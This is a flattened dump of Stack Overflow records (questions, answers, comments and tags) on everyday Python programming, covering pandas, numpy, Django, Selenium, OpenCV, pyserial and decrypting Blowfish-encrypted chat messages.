has comment: http://stackoverflow.com/comment/85949572
score: 0
has comment: http://stackoverflow.com/comment/85947279

http://stackoverflow.com/comment/85934146
type: AnswerComment
comment on: http://stackoverflow.com/a/49465702
has text: @tom44 - `outcome` is new or existing column?
score: 0
type: Comment

http://stackoverflow.com/comment/86112757
type: Comment
has text: He is having different HTML from google because there is no User-Agent. Your answer is not relevant
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49552762

http://stackoverflow.com/q/49502732
score: 1
has answer: http://stackoverflow.com/a/49502872
tagged with: python
type: Question
accepted answer: http://stackoverflow.com/a/49502872
has title: Filling a column based on comparison of 2 other columns (pandas)
has body: I am trying to do the following in pandas: I have 2 DataFrames, both of which have a number of columns. DataFrame 1 has a column A, that is of interest for my task; DataFrame 2 has columns B and C, that are of interest. What needs to be done: to go through the values in column A and see if the same values exists somewhere in column B. If it does, create a column D in Dataframe 1 and fill its respective cell with the value from C which is on the same row as the found value from B. If the value from A does not exist in B, then fill the cell in D with a zero. for i in range(len(df1)): if df1['A'].iloc[i] in df2.B.values: df1['D'].iloc[i] = df2['C'].iloc[i] else: df1['D'].iloc[i] = 0 This gives me an error: Keyword 'D'. If I create the column D in advance and fill it, for example, with 0's, then I get the following warning: A value is trying to be set on a copy of a slice from a DataFrame. How can I solve this? Or is there a better way to accomplish what I'm trying to do? Thank you so much for your help!
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: AnsweredQuestion
tagged with: pandas

http://stackoverflow.com/a/53962664
has body: I know is a bit old topic but my solution was: sudo pip install --upgrade tensorflow==1.12.0 Here is 1.12.0 but use the last stable update. In other words, try to update your tensorflow installation and everything should be better.
answers question: http://stackoverflow.com/q/49475701
type: Answer
score: 0

http://stackoverflow.com/comment/86009910
type: Comment
score: 0
type: AnswerComment
has text: My sincerest apologies :)!
comment on: http://stackoverflow.com/a/49501616

http://stackoverflow.com/comment/86174558
type: AnswerComment
type: Comment
has text: Thanks. I try to insert another TextInput, but in the GridLayout i dont know how to change the position of the TextInput for place it near to the first
comment on: http://stackoverflow.com/a/49583118
score: 0

http://stackoverflow.com/comment/86183603
type: Comment
type: QuestionComment
has text: join the list to one string and use `struct` or `numpy`.
comment on: http://stackoverflow.com/q/49587957
score: 0

http://stackoverflow.com/comment/86075140
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49534200
has text: any alternative methord for this..i just want to uplad an image file on my webpage
score: 0

http://stackoverflow.com/q/49570077
has title: ContentNotRenderedError : The response content must be rendered before it can be iterated over
downvote count: 1
score: 2
upvote count: 3
has answer: http://stackoverflow.com/a/49573876
answer count: 1
tagged with: python
has body: while returning custom response I having render error. I am using django 1.8 and DRF 2.4.8 view is class UserList(generics.ListAPIView): # queryset = User.objects.all() serializer_class = UserSerializer def get_queryset(self): is_staff = self.request.GET.get('is_staff', None) is_superuser = self.request.GET.get('is_superuser', None) is_admin = self.request.GET.get('is_admin', None) company = self.request.GET.get('company', None) userdetails = UserData(self.request.user).userdetails() print(userdetails.get('usertype')) query1 = query = Q() if is_staff: query1.add(Q(is_staff=is_staff), Q.AND) if is_superuser: query1.add(Q(is_superuser=is_superuser), Q.AND) if is_admin: query = Q(is_admin=is_admin) if company: query.add(Q(company__name=company), Q.AND) if userdetails.get('usertype') is 'superuser': if is_admin or company: profile_list = Profile.objects.filter(query).values_list('user_id', flat=True) user_list = User.objects.filter(id__in=profile_list) return user_list.filter(query1) else: return User.objects.filter(query1) elif userdetails.get('usertype') in ['staff', 'admin']: up = Profile.objects.get(user=self.request.user) profile_list = Profile.objects.filter(company=up.company) # .values_list('user_id', flat=True) user_list = profile_list.filter(query).values_list('user_id', flat=True) if is_admin or company else \ profile_list.values_list('user_id', flat=True) final_list = User.objects.filter(id__in=user_list) return final_list.filter(query1) else: return Response(data={"error": ["You don't have enough permission."]}, status=status.HTTP_400_BAD_REQUEST) while returning response from last else part I am getting error? What is the solution? what is wrong in Response()?
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: django

http://stackoverflow.com/comment/86167655
score: 0
comment on: http://stackoverflow.com/q/49579846
has text: @AndreyTyukin Yeah, you're right. I should've thought a bit longer about the numbers I used...
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49598272
tagged with: numpy
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49598527
score: 0
answer count: 1
has title: python multiple plots for numpy array
type: Question
has body: I have a multi dimensional numpy array of shape (200, 1500). I want to visualise summary statistics for this data. Because the num_cols is too high I can't plot all of them. My questions are: Which summary statistics shall I visualise? Do i visualise all columns? I thought of randomly choosing N columns from the data and showing distribution and box plots. Example shown below is for second column in array X. However, i can't figure out how to show both plots for N columns in a single figure. Can someone help me with this? dist plot plt.figure(figsize=(20,4)) plt.subplot(121) ax = sns.distplot(X[:,1]) Box Plot plt.subplot(122) plt.xlim(X[:,1].min()*1.1, X[:,1].max()*1.1) sns.boxplot(x=X[:,1])
has comment: http://stackoverflow.com/comment/86203950
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/86203878
tagged with: python
accepted answer: http://stackoverflow.com/a/49598527

http://stackoverflow.com/a/49547807
type: Answer
score: 2
upvote count: 2
downvote count: 0
has body: This method is not efficient compare with cold's magic str df['seq'].apply(lambda x : np.nan if not x else x[0]) Out[1328]: 0 A 1 A 2 NaN 3 D Name: seq, dtype: object df['seq'].apply(lambda x : np.nan if not x or len(x)&lt;2 else x[-2]) Out[1329]: 0 E 1 A 2 NaN 3 NaN Name: seq, dtype: object
answers question: http://stackoverflow.com/q/49547692

http://stackoverflow.com/q/49441984
answer count: 1
has comment: http://stackoverflow.com/comment/85886782
has comment: http://stackoverflow.com/comment/85885972
type: Question
has answer: http://stackoverflow.com/a/49442104
has comment: http://stackoverflow.com/comment/85885958
has comment: http://stackoverflow.com/comment/85886591
has title: Convert string representation of a list in sqlite3 database while making SELECT command
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49442104
score: 0
has comment: http://stackoverflow.com/comment/85886611
has body: I have an sqlite3 database, where one of the columns contains a string representation of a list (ex: "['hello', 'there', 'example']"). I need to use a SELECT command and the LIKE clause to extract rows where an element of such a 'list' contains a certain substring. I know how to build a command that extracts rows that have a column whose value contains a substring, but I do not know how to check if the individual elements of the 'list' in a column (that is represented as a string) contain a substring. Here's the code I know how to write for retrieving columns that contain a substring. SELECT * FROM yourDatabase WHERE UPPER(column) LIKE UPPER(?)",('%'+substring+'%',) Note: I could just read every row of the database convert that 'list' column into an actual list, and then check for the substring in the elements of that list, but that seems REALLY inefficient.
tagged with: sqlite

http://stackoverflow.com/comment/86135889
has text: Ok this will be last comment ... *return only users that has a specific status_id and only this specific status*
comment on: http://stackoverflow.com/a/49562229
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/49518945
type: Answer
has body: Imagemagick is great but has steep learning curve. You need to have 3rd party ImageMagick installed (Would have to be 32 or 64 bit depending on your version of python). Installation alone is a pain considering you need to add it to path and the executable is necessary to run your script. Consider something more portable and contained like Pillow which has number of features for achieving your goal. pip install pillow In pillow you can read images from BytesIO. And also draw or print on them. There is number of options available. from PIL import Image, ImageDraw import io # Reading bytes from file but you can skip that and simply open your bytes like below. with open('picture.jpg', 'rb') as f: im = Image.open(io.BytesIO(f.read())) draw = ImageDraw.Draw(im) draw.text((10,10), "Hello World", fill=(255)) im.show() # do whatever you like with the image Check the docs for more examples. https://pillow.readthedocs.io/en/latest/
score: 0
answers question: http://stackoverflow.com/q/49518537

http://stackoverflow.com/a/49555602
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49553423
type: Answer
has body: The error says it all : num_page_items = len(productname) TypeError: object of type 'WebElement' has no len() productname is assigned the return type from driver.find_element_by_xpath("//div[@class='product-title']"), which is a WebElement and WebElement have no method as len(). len() can be invoked on a List. Solution As you are trying to access List items as in : print(productname[i].text + " : " + oldprice[i].text + " : " + discount[i].text + " : " + saleprice[i].text) So productname, oldprice, discount and saleprice needs to be of List type. But your code reads as : productname = driver.find_element_by_xpath("//div[@class='product-title']") oldprice = driver.find_element_by_css_selector("span.old-price-text").text discount = driver.find_element_by_css_selector("div.discount &gt; span").text saleprice = driver.find_element_by_css_selector("span.new-price-text").text Where productname is a WebElement and oldprice, discount, and saleprice are text. So you need to change them as a List of WebElements as follows : productname = driver.find_elements_by_xpath("//div[@class='product-title']") oldprice = driver.find_elements_by_css_selector("span.old-price-text") discount = driver.find_elements_by_css_selector("div.discount &gt; span") saleprice = driver.find_elements_by_css_selector("span.new-price-text")
answers question: http://stackoverflow.com/q/49553423
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/86119869
has text: Would not `pc_out = pca.transform(new_data)` work for new data?
comment on: http://stackoverflow.com/q/49556178
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49574805
tagged with: arrays
score: -3
tagged with: python
has answer: http://stackoverflow.com/a/49575189
has body: For example I want to put the first element from list "z" into a matrix from numpy as seen below z = [1,2] A = np.mat("12,z[0],-12,6;6,4,-6,2")
answer count: 2
upvote count: 0
downvote count: 3
tagged with: numpy
favorite count: 0
has answer: http://stackoverflow.com/a/49577356
type: Question
tagged with: python-3.x
type: UnansweredQuestion
has title: How to add arrays into numpy matrix?

http://stackoverflow.com/q/49520629
has answer: http://stackoverflow.com/a/49520758
accepted answer: http://stackoverflow.com/a/49520758
tagged with: numpy
has comment: http://stackoverflow.com/comment/86046996
has comment: http://stackoverflow.com/comment/86047160
has title: A numpy function for binning an array
has comment: http://stackoverflow.com/comment/86047237
answer count: 3
type: Question
type: AnsweredQuestion
score: 0
has body: Let's say I have an array L = [1,0,5,1] and I want to put it into two bins, I would like to get out Lbin = [1,6]. Similarly let's say L = [1,3,5,2,6,7] and I want to put it into three bins, I would like to get out Lbin = [4,7,13]. If b is the number of bins and we assume that b divides len(L), is there a numpy function to do this? My array L will be large and I have a lot of them so I need a linear time solution to the problem. The answer by Divakar is very nice. As an addition: Is there an easy way to deal with the situation where b doesn't divide len(L) so the last bin just has fewer elements in it? So L=[1,0,5,1,4] with b = 2 would give you [6,5].
tagged with: python
has answer: http://stackoverflow.com/a/49521648
has answer: http://stackoverflow.com/a/49521494
possible better answer: http://stackoverflow.com/a/49521494

http://stackoverflow.com/comment/86080647
has text: Try the [`decimal`](https://docs.python.org/3/library/decimal.html) library.
comment on: http://stackoverflow.com/q/49536695
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49541226
has title: Error when decrypt message from blowfish/base64
tagged with: python
score: 0
has comment: http://stackoverflow.com/comment/86127201
linked to: http://stackoverflow.com/q/10303306
answer count: 1
has comment: http://stackoverflow.com/comment/86101057
type: Question
tagged with: blowfish
tagged with: python-3.x
has body: I'm trying to decrypt some message encrypted by FiSH plugin from mirc. The plugin use a blowfish encryption as mode ECB based on a key but first it encrypted the messages as code64 and then with blowfish ECB. The problem is when I try decrypt the message with blowfish after decode it from base64 get the same error always. "Data must be aligned to block boundary in ECB mode" The des encrypted message is: "Probando un mensaje cifrado" from Crypto.Cipher import Blowfish from Crypto.Util.Padding import pad, unpad from os import urandom import base64 key = b"passw0rd" text =b"+OK Tnkrh0sIoWb1oS1FT.RQop/.JPXNc.lclFO/gueZ4/ZwN1H0" decode64 = base64.b64decode(text) decrypt = Blowfish.new(key,Blowfish.MODE_ECB) msg = decrypt.decrypt(decode64) print(msg) site-packages\Crypto\Cipher\_mode_ecb.py", line 163, in decrypt raise ValueError("Data must be aligned to block boundary in ECB mode") ValueError: Data must be aligned to block boundary in ECB mode WITH NON-STANDARD TABLE: custom_a = "./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" standard_a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' DECODE_TRANS = str.maketrans(custom_a,standard_a) key = b"passw0rd" text ="Tnkrh0sIoWb1oS1FT.RQop/.JPXNc.lclFO/gueZ4/ZwN1H0" decode64 = base64.b64decode(text.translate(DECODE_TRANS)) decrypt = Blowfish.new(key,Blowfish.MODE_ECB) msg = decrypt.decrypt(decode64) print(msg)
has answer: http://stackoverflow.com/a/49541825
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86138034
tagged with: encryption

http://stackoverflow.com/comment/86031163
type: QuestionComment
has text: Yes, that is correct! :-)
score: 1
comment on: http://stackoverflow.com/q/49512723
type: Comment

http://stackoverflow.com/comment/86195887
score: 0
has text: i'm sorry but I'm not figuring out how to do that. This is my code: `cv2.line(line,(x1,y1),(x2,y2),(0,204,204), thickness=anlysWdth,lineType=4)` x1,y1 etc are just end points (Eg x1: 1580 y1: -592 x2: -45 y2: 2223)
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49586094

http://stackoverflow.com/comment/85970928
has text: @Zhonghao.KevinXie I noticed you changed your question midway. Please refrain from doing that in future, it is disrespectful to those who invested time into addressing your original question.
type: AnswerComment
comment on: http://stackoverflow.com/a/49482550
score: 0
type: Comment

http://stackoverflow.com/comment/121564261
comment on: http://stackoverflow.com/q/49503748
type: QuestionComment
type: Comment
score: 2
has text: As of tensorflow 2.5, if you set the optimizer of a keras model with `model.compile`, then `model.save_weights` and `model.load_weights` seem to preserve the optimizer state with no problem.

http://stackoverflow.com/comment/86135094
score: 0
has text: You accepted that answer but you don't understand how the question I linked is relevant? I'm confused.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49563228

http://stackoverflow.com/q/49476652
tagged with: python
favorite count: 0
score: 1
tagged with: xlsxwriter
has answer: http://stackoverflow.com/a/49476978
has answer: http://stackoverflow.com/a/52954370
has body: Here is some example xlsxwriter code to write into the worksheet: workbook = xlsxwriter.Workbook('example.xlsx') worksheet = workbook.add_worksheet() worksheet.write('A1', 'Hello') worksheet.write('A2', 'World', bold) What may be noticed immediately is the cell to write must always be specified. Is there a way to write to the next empty cell, or perhaps a workaround to write to an empty cell? Say I wanted to write to our next empty cell no matter where in column A it was. Is there a way to do this?
type: Question
linked to: http://stackoverflow.com/q/20490422
answer count: 2
type: UnansweredQuestion
downvote count: 0
has title: Is there a way to write to the first empty line in Xlsx writer in Python?
upvote count: 1

http://stackoverflow.com/q/49482204
has title: Python serial.write doing nothing
has comment: http://stackoverflow.com/comment/85967282
type: Question
has comment: http://stackoverflow.com/comment/85967242
tagged with: python
has answer: http://stackoverflow.com/a/49482245
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49482444
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49482234
tagged with: pyserial
score: 0
tagged with: arduino
answer count: 3
has body: Basically, what I am trying to do is input a string to the Arduino from Python, and the Arduino should print it back, and again it is read from Python. But when I run this code nothing happens. I have tried the Arduino code separately and it works well with the serial monitor. I checked if the problem was with readline() with a different problem and it was running perfectly, so I guess the problem is with write(). This is my Arduino code: void setup() { Serial.begin(9600); } char rx_byte = 0; void loop() { if(Serial.available() &gt; 0) { rx_byte = Serial.read(); Serial.println(rx_byte); } } This is my Python code: import time import serial ser = serial.Serial('COM5', 9600) ser.write(b's') ser.flush() time.sleep(1) message = ser.readline() print(message) ser.close()

http://stackoverflow.com/comment/86168998
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49580405
has text: I have read that somewhere: len doesn't always check for `__len__` method. But can't find the reference. Your workaround is good.
score: 0

http://stackoverflow.com/a/53335071
has body: Here is my code. I'm learning OpenCV now. After I referred to others' code, i use a global parameter to control brush's color. pen_color = (0, 0, 0) ix, iy = -1, -1 drawing = False def draw_circle(event, x, y, flags, params): global ix, iy, pen_color, drawing if event == cv2.EVENT_LBUTTONDOWN: ix, iy = x, y drawing = True elif event == cv2.EVENT_MOUSEMOVE: if drawing: cv2.circle(img, (x, y), 3, pen_color, -1) elif event == cv2.EVENT_LBUTTONUP: drawing = False cv2.circle(img, (x, y), 3, pen_color, -1) def nothing(x): pass # create white img img = np.ones((256, 512, 3), np.uint8) * 255 cv2.namedWindow('image') cv2.setMouseCallback('image', draw_circle) cv2.createTrackbar('Red', 'image', 0, 255, nothing) cv2.createTrackbar('Green', 'image', 0, 255, nothing) cv2.createTrackbar('Blue', 'image', 0, 255, nothing) switch = 'switch' cv2.createTrackbar(switch, 'image', 0, 1, nothing) while True: cv2.imshow('image', img) k = cv2.waitKey(1) &amp; 0xff if k == ord('q'): break r = cv2.getTrackbarPos('Red', 'image') g = cv2.getTrackbarPos('Green', 'image') b = cv2.getTrackbarPos('Blue', 'image') s = cv2.getTrackbarPos(switch, 'image') if s == 1: pen_color = (b, g, r) cv2.destroyAllWindows()
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49463819

http://stackoverflow.com/q/49545257
has answer: http://stackoverflow.com/a/49553201
has body: I am using a light ETL library called bonobo. The csv writer bonobo.CsvWriter class has a factory method: def writer_factory(self, file): return csv.writer(file, **self.get_dialect_kwargs()).writerow with the docs: class CsvWriter(FileWriter, CsvHandler): @Method( __doc__=''' Builds the CSV writer, a.k.a an object we can pass a field collection to be written as one line in the target file. Defaults to builtin csv.writer(...).writerow, but can be overriden to fit your special needs. ''' ) I'd like to add some extra parameters to customize my csv file, so I try to override it as such: class quoCsvWriter(bonobo.CsvWriter): def writer_factory(self, file): return csv.writer(file, **self.get_dialect_kwargs(),quoting=csv.QUOTE_NONNUMERIC).writerow when I add the node into the chain, the programs shows: Traceback (most recent call last): File "geocoding.py", line 162, in &lt;module&gt; get_graph(), File "geocoding.py", line 135, in get_graph quoCsvWriter('db_addresses.csv') File "/Users/xxxx/xxxx/lib/python3.6/site-packages/bonobo/config/configurables.py", line 152, in __new__ missing.remove(name) KeyError: 'writer_factory' Any hints are appreciated. Update: meanwhile when I try to do bonobo.CsvWriter('filename.csv',quoting=csv.QUOTE_MINIMAL) it throws error: TypeError "quoting" must be an integer
tagged with: bonobo-etl
tagged with: overriding
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86108217
score: 1
answer count: 1
downvote count: 0
has title: bonobo method failed after overriden
upvote count: 1
accepted answer: http://stackoverflow.com/a/49553201
favorite count: 0
type: Question

http://stackoverflow.com/a/49540493
has body: Consider the sample data frame df df = pd.DataFrame(np. arange(16).reshape(4, 4), columns=list('ABCD')) df A B C D 0 0 1 2 3 1 4 5 6 7 2 8 9 10 11 3 12 13 14 15 Use combination of iloc and argsort I'll be depending on two things Sorting on a boolean array puts False first, so I am sorting when a simple sequenced array is not equal to the target row. Sorting is stable so all True values will stay in same relative order. argsort returns the array I need to slice with iloc. def putfirst(df, i): return df.iloc[(np.arange(len(df)) != i).argsort()] putfirst(df, 3) A B C D 3 12 13 14 15 0 0 1 2 3 1 4 5 6 7 2 8 9 10 11 putfirst(df, 2) A B C D 2 8 9 10 11 0 0 1 2 3 1 4 5 6 7 3 12 13 14 15 head and tail for swapping last row df.tail(1).append(df.head(-1)) A B C D 3 12 13 14 15 0 0 1 2 3 1 4 5 6 7 2 8 9 10 11 With Your Sample putfirst(df, 6) DATA_BASE UF COD MUN CNPJ soma 1196442.0 NaN 66325.0 NaN 21159287.0 0 199407.0 AC 1030.0 MANCIO LIMA 4064077.0 1 199407.0 AC 5184.0 MANOEL URBANO 4064077.0 2 199407.0 AC 9465.0 ASSIS BRASIL 4064077.0 3 199407.0 AC 15978.0 FEIJO 4064077.0 4 199407.0 AC 15978.0 FEIJO 4902979.0 5 199407.0 AC 18690.0 XAPURI 0.0 Or putfirst(df, len(df) - 1) DATA_BASE UF COD MUN CNPJ soma 1196442.0 NaN 66325.0 NaN 21159287.0 0 199407.0 AC 1030.0 MANCIO LIMA 4064077.0 1 199407.0 AC 5184.0 MANOEL URBANO 4064077.0 2 199407.0 AC 9465.0 ASSIS BRASIL 4064077.0 3 199407.0 AC 15978.0 FEIJO 4064077.0 4 199407.0 AC 15978.0 FEIJO 4902979.0 5 199407.0 AC 18690.0 XAPURI 0.0 Or putfirst(df, df.index.get_loc('soma')) DATA_BASE UF COD MUN CNPJ soma 1196442.0 NaN 66325.0 NaN 21159287.0 0 199407.0 AC 1030.0 MANCIO LIMA 4064077.0 1 199407.0 AC 5184.0 MANOEL URBANO 4064077.0 2 199407.0 AC 9465.0 ASSIS BRASIL 4064077.0 3 199407.0 AC 15978.0 FEIJO 4064077.0 4 199407.0 AC 15978.0 FEIJO 4902979.0 5 199407.0 AC 18690.0 XAPURI 0.0
has comment: http://stackoverflow.com/comment/86093449
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86127496
has comment: http://stackoverflow.com/comment/86129436
has comment: http://stackoverflow.com/comment/86119539
type: Answer
answers question: http://stackoverflow.com/q/49540279
has comment: http://stackoverflow.com/comment/86129345
has comment: http://stackoverflow.com/comment/86090063
accepted answer of: http://stackoverflow.com/q/49540279
has comment: http://stackoverflow.com/comment/86089982
has comment: http://stackoverflow.com/comment/86093557
score: 1

http://stackoverflow.com/q/49460858
has title: How to determine key name of outer dictionary knowing values in nested dictionary
upvote count: 0
has comment: http://stackoverflow.com/comment/85924732
downvote count: 2
tagged with: nested-datalist
answer count: 1
tagged with: nested
has comment: http://stackoverflow.com/comment/85924641
favorite count: 0
type: Question
has body: So I have a dictionary like below: { 'outerkey1': {'innerkey1': 'value1'}, 'outerkey2': {'innerkey2': 'value2'} } I know the value of 'value2', which I can determine the key name is 'innerkey2', but how can I know it's from 'outerkey2'?
has comment: http://stackoverflow.com/comment/85924624
has answer: http://stackoverflow.com/a/49460994
has comment: http://stackoverflow.com/comment/85924698
has comment: http://stackoverflow.com/comment/85924765
type: UnansweredQuestion
score: -2
tagged with: python
tagged with: dictionary

avro
type: Tag
tags question: http://stackoverflow.com/q/49446872
tag name: avro

http://stackoverflow.com/comment/85925919
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49461443
has text: I have a default argument for c that the function should use if the user omits the last argument when calling. I need to raise an exception in the case that the user omits the argument, so the function uses my default argument.

http://stackoverflow.com/q/49550855
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/49551830
has body: I have a list of around 131000 arrays, each of length 300. I am using python I want to check which of the arrays are repeating in this list. I am trying this by comparing each array with others. like : Import numpy as np wordEmbeddings = [[0.8,0.4....upto 300 elements]....upto 131000 arrays] count = 0 for i in range(0,len(wordEmbeddings)): for j in range(0,len(wordEmbeddings)): if i != j: if np.array_equal(wordEmbeddings[i],wordEmbeddings[j]): count += 1 this is running very slowly, It might take hours to finish, how can I do this efficiently ?
linked to: http://stackoverflow.com/q/11015320
tagged with: list
score: 0
downvote count: 1
has title: How to find the repeating arrays in a list
favorite count: 0
has answer: http://stackoverflow.com/a/49551059
has answer: http://stackoverflow.com/a/49551428
type: Question
has answer: http://stackoverflow.com/a/49551060
answer count: 5
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/29872350
has answer: http://stackoverflow.com/a/49551009
tagged with: arrays

http://stackoverflow.com/comment/85929389
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49463089
has text: @SeoiMin - If dont need strings, simply remove `astype(str)`
score: 0

http://stackoverflow.com/q/49544923
favorite count: 0
type: Question
upvote count: 2
has title: Python pandas calculate ATR on higher timeframe without resampling
tagged with: stocks
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86325571
tagged with: python
has body: I'm having a dataframe of 1min stock data. I want to calculate AverageTruerange indicator of a higher time frame without respampling the data. I came up with the below solution, however it is slow. tf - higher time frame, n = lookback for ATR, OHLC gives higher timeframe candles. def ATR(df, tf, n): ha_o = 'open_' + str(tf) ha_h = 'high_' + str(tf) ha_l = 'low_' + str(tf) ha_c = 'close_' + str(tf) df = OHLC(df, tf, n) df['p_close'] = df[ha_c].shift(tf) TR = df[ha_h] - df[ha_l] df['TR'] = TR df['TR_avg'] = np.nan atr_label = 'ATR_' + str(tf) + '_' + str(n) df[atr_label] = np.nan i = tf*n while i &lt;= df.index[-1]: TR_sum = 0 j = 0 while j &lt; n: TR_sum += TR.at[i-j*tf] j += 1 TR_sum /= n df.at[(i, 'TR_avg')] = TR_sum df.at[(i, atr_label)] = (TR.at[i] + (n-1)*df.at[(i-tf, 'TR_avg')])/n i = i + 1 return df I have seen below pandas ATR function which works well on 1 minute. However I want to calculate on 10/15 minute. def ATR(df, tf, n): i = 0 TR_l = [0] while i &lt; df.index[-1]: TR = max(df.get_value(i + 1, 'high'), df.get_value(i, 'close')) - min(df.get_value(i + 1, 'low'), df.get_value(i, 'close')) TR_l.append(TR) i = i + 1 df['ATR_' + str(tf) + '_' + str(n)] = Series(TR_l).ewm(ignore_na=False,span=1,min_periods=tf*n,adjust=False).mean() return df Please help me in optimizing the function.
score: 2
answer count: 0
downvote count: 0
tagged with: pandas
tagged with: dataframe

http://stackoverflow.com/comment/86142972
score: 0
type: Comment
type: QuestionComment
has text: What is `k`, and why doesn't `func` use `W`?
comment on: http://stackoverflow.com/q/49567242

http://stackoverflow.com/comment/86061453
comment on: http://stackoverflow.com/q/49508788
type: QuestionComment
has text: Yeah, might be a solution. I’ll try that. Thanks. But what is the query to return all kinds of them (distinct)?
score: 0
type: Comment

http://stackoverflow.com/comment/86051018
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49522498
score: 0
has text: `sys.sizeof(session[key])` is probably misleading you because it's the size of the Python objects, not the *serialized* data, which is encrypted with your app's secret key. Though, I don't see any reason why something like the string `"RelationshipQuestion"` would be so big. IIRC, if you have a very long secret key, this can quickly inflate the size of your session cookies. That *may* be a clue. Unless you just have that as shorthand for a much longer string... in which case, it may make sense that you're out of space.

http://stackoverflow.com/q/49521399
has comment: http://stackoverflow.com/comment/86048728
has comment: http://stackoverflow.com/comment/86048756
tagged with: http://stackoverflow.com/tag/xml
type: Question
has title: python - transform a C# method in python method
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86090481
tagged with: django
tagged with: python
tagged with: zeep
score: 0
answer count: 0
has body: I'm new in Python and I trying to make this C# method protected void read(){ string[] attributes = new string[16]; attributes[0] = "ref_num"; attributes[1] = "tenant.name"; attributes[2] = "request_by.first_name"; attributes[3] = "request_by.first_name"; attributes[4] = "customer.first_name"; attributes[5] = "customer.last_name"; attributes[6] = "customer.id"; attributes[7] = "category.sym"; attributes[8] = "status.sym"; attributes[9] = "group.last_name"; attributes[10] = "zreporting_met.sym"; attributes[11] = "assignee.combo_name"; attributes[12] = "open_date"; attributes[13] = "close_date"; attributes[14] = "description"; attributes[15] = "summary"; int sid = soap.login("user", "pass"); string objectType = "cr"; string whereClause = "ref_num = '15967'"; int maxRows = -1; //Valor de tiempo en Epoch var epoch = (DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalSeconds; //Transforma en valor de fecha humana string _epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc).AddSeconds(epoch).ToShortDateString(); ArrayList resultado = new ArrayList(); XmlDocument xml = new XmlDocument(); try { string _selectResponse = soap.doSelect(sid, objectType, whereClause, maxRows, attributes); xml.LoadXml(_selectResponse); XmlNodeList nodeList = xml.GetElementsByTagName("AttrValue"); for (int i = 0; i &lt; nodeList.Count; i++) { resultado.Add(nodeList[i].InnerXml); } soap.logout(sid); } catch (Exception l) { Console.Write(l.Message); } } this method works perfectly, in python I have this for the moment class WebService: soap = 'webservice url' client = Client(soap) sid = client.service.login("user","pass") attributes = ["ref_num", "open_date"] objectType = "cr" whereClause = "open_date &gt; 1519862400 AND open_date &amp;lt; 1522368000" maxRows = -1 tickets = client.service.doSelect(sid, objectType, whereClause, -1, attributes) print(tickets) logout = client.service.logout(p) using zeep to connect to the Web Service the error what I have is in attribute…

http://stackoverflow.com/a/49537500
score: 4
answers question: http://stackoverflow.com/q/49537225
upvote count: 4
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49537225
downvote count: 0
has comment: http://stackoverflow.com/comment/86081784
has body: Assuming R, G, B, A are all numpy arrays with the same shape, created by something like: R, G, B, A = cv2.split(img_array) simply create a mask using the same conditionals; since they're numpy arrays, use &amp; instead of and: mask = (R &gt; 95) &amp; (G &gt; 40) &amp; (B &gt; 20) &amp; (R &gt; G) &amp; (R &gt; B) &amp; (abs(R - G) &gt; 15) &amp; (A &gt; 15) Then to set everything not satisfying the condition to black: img_array[~mask] = [0, 0, 0, 255] Note here the mask will be two-channel, and will be broadcasted to all the channels in img_array. Also note ~ inverts a numpy boolean array, so this is indexing by wherever mask is False, which is what you want. Some more info on transparency: if the alpha channel is 0, that means fully transparent, and if it's 255 (for a unsigned 8-bit image), that means opaque. If you want the image to be transparent at those locations instead of black, you can just invert the mask, turn it into a uint8 array, and then merge it back into one image, like so: R, G, B, A = cv2.split(img_array) mask = (R &gt; 95) &amp; (G &gt; 40) &amp; (B &gt; 20) &amp; (R &gt; G) &amp; (R &gt; B) &amp; (abs(R - G) &gt; 15) &amp; (A &gt; 15) new_A = 255*(~mask).astype(np.uint8) new_img_array = cv2.merge([R, G, B, new_A]) This way you're not losing any of the color information in R, G, B should you want to keep it.
has comment: http://stackoverflow.com/comment/86082417
type: Answer

arrays
tags question: http://stackoverflow.com/q/49475770
tags question: http://stackoverflow.com/q/49533562
tags question: http://stackoverflow.com/q/49551985
tag name: arrays
tags question: http://stackoverflow.com/q/49453846
tags question: http://stackoverflow.com/q/49502994
type: Tag
tags question: http://stackoverflow.com/q/49459271
tags question: http://stackoverflow.com/q/49441768
tags question: http://stackoverflow.com/q/49551704
tags question: http://stackoverflow.com/q/49467836
tags question: http://stackoverflow.com/q/49546789
tags question: http://stackoverflow.com/q/49582928
tags question: http://stackoverflow.com/q/49481970
tags question: http://stackoverflow.com/q/49507733
tags question: http://stackoverflow.com/q/49505731
tags question: http://stackoverflow.com/q/49460955
tags question: http://stackoverflow.com/q/49453930
